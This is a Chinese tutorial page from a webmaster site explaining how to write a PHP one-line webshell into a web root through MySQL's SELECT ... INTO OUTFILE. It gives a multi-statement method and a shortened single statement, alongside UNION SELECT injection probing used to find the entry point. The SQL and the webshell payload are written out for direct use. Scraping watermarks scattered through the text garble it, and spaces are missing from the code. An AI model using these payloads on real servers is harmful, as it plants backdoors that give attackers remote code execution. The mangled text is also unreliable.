您当前的位置: 首页 > 数据库教程 > MySQL教程 > 浅谈MySQL导出一句话木马拿WebShell的方法

浅谈MySQL导出一句话木马拿WebShell的方法

作者:guanchaofeng 来源:本站整理 发布时间: 2009-07-01 20:52 点击:
昨天看一篇文章中说到MySQL导出一句话木马拿WebShell的方法。 9vbHE$d:Z#{1fJL0文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行):IXPUB技术博客S9_9bNNi};C7l DropTABLEIFEXISTStemp;//如果存在temp就删掉IXPUB技术博客6u6Hw.\R\u Cre

浅谈MySQL导出一句话木马拿WebShell的方法

  昨天看一篇文章中说到MySQL导出一句话木马拿WebShell的方法。
  
  9vbHE$d:Z#{1fJL0文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行):IXPUB技术博客S9_9bNNi};C7l
  
  DropTABLEIFEXISTStemp;//如果存在temp就删掉IXPUB技术博客6u6Hw.\R\u
  
  CreateTABLEtemp(cmdtextNOTNULL);//建立temp表,里面就一个cmd字段
  
  1G_Dc`4X"BE0InsertINTOtemp(cmd)VALUES('<?phpeval($_POST[cmd]);?>');//把一句话木马插入到temp表
  
  -l*h1sb@a9j7L7m$n0Selectcmdfromtempintooutfile'F:/wwwroot/eval.php';//查询temp表中的一句话并把结果导入到eval.php
  
  r'`zYc!vpko?u0DropTABLEIFEXISTStemp;//删除temp(擦屁股o(∩_∩)o...)IXPUB技术博客yoc3p/rk
  
  这几句SQL很简单,我做了简单的注释。IXPUB技术博客br5q|:Nk\@
  
  不过想想我们在测试PHP的SQL漏洞的时候经常用如下的语句:
  
  9NW$fO.\+]#N0/**/UNIONSELECT1,2,3,4,5,6,7,8,9,10,11,12/*IXPUB技术博客Fp5c/Psc
  
  然后返回的页面中可能会出现1~12之间的数字。这里加入数字3显示出来了。
  
  |\8r7}:}0如果我们把上面这句改成/**/UNIONSELECT1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*,则返回页面上次显示3的地方会显示zerosoul。IXPUB技术博客,MKor#|G
  
  也就是说如果我们的select语句后面不带fromtable语句的话,我们说查询的数字或字符会直接返回到查询结果里。
  
  M8a@pZ,I!F6eAg0既然这样,我们为何还要那么麻烦去建一个表,先导入数据,再导出这样折腾呢。
  
  W5Dh_5p!e-A(t:Ez0有了这个思路,上面那一大段到出一句话的SQL代码可以直接简化到一句:IXPUB技术博客x1L`D([G
  
  Select'<?phpeval($_POST[cmd]);?>'intooutfile'F:/wwwroot/eval.php';IXPUB技术博客5JZ'~n+iJ:Wvj
  
  这样做不但简单明了,而且避免了误删别人的数据。
  
  Agi/t\8]SYWD0
  
  A"G3n)f;f$Q1h(Q6Y0
  
  .}!D7Uzu7p0
  
  $R.Sy!pT_j_*_0

分享到:
本文"浅谈MySQL导出一句话木马拿WebShell的方法"由远航站长收集整理而来,仅供大家学习与参考使用。更多网站制作教程尽在远航站长站。
顶一下
(2)
100%
踩一下
(0)
0%
[点击 次] [返回上一页] [打印]
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
关于本站 - 联系我们 - 网站声明 - 友情连接- 网站地图 - 站点地图 - 返回顶部
Copyright © 2007-2013 www.yhzhan.com(远航站长). All Rights Reserved .
远航站长:为中小站长提供最佳的学习与交流平台,提供网页制作与网站编程等各类网站制作教程.
官方QQ:445490277 网站群:26680406 网站备案号:豫ICP备07500620号-4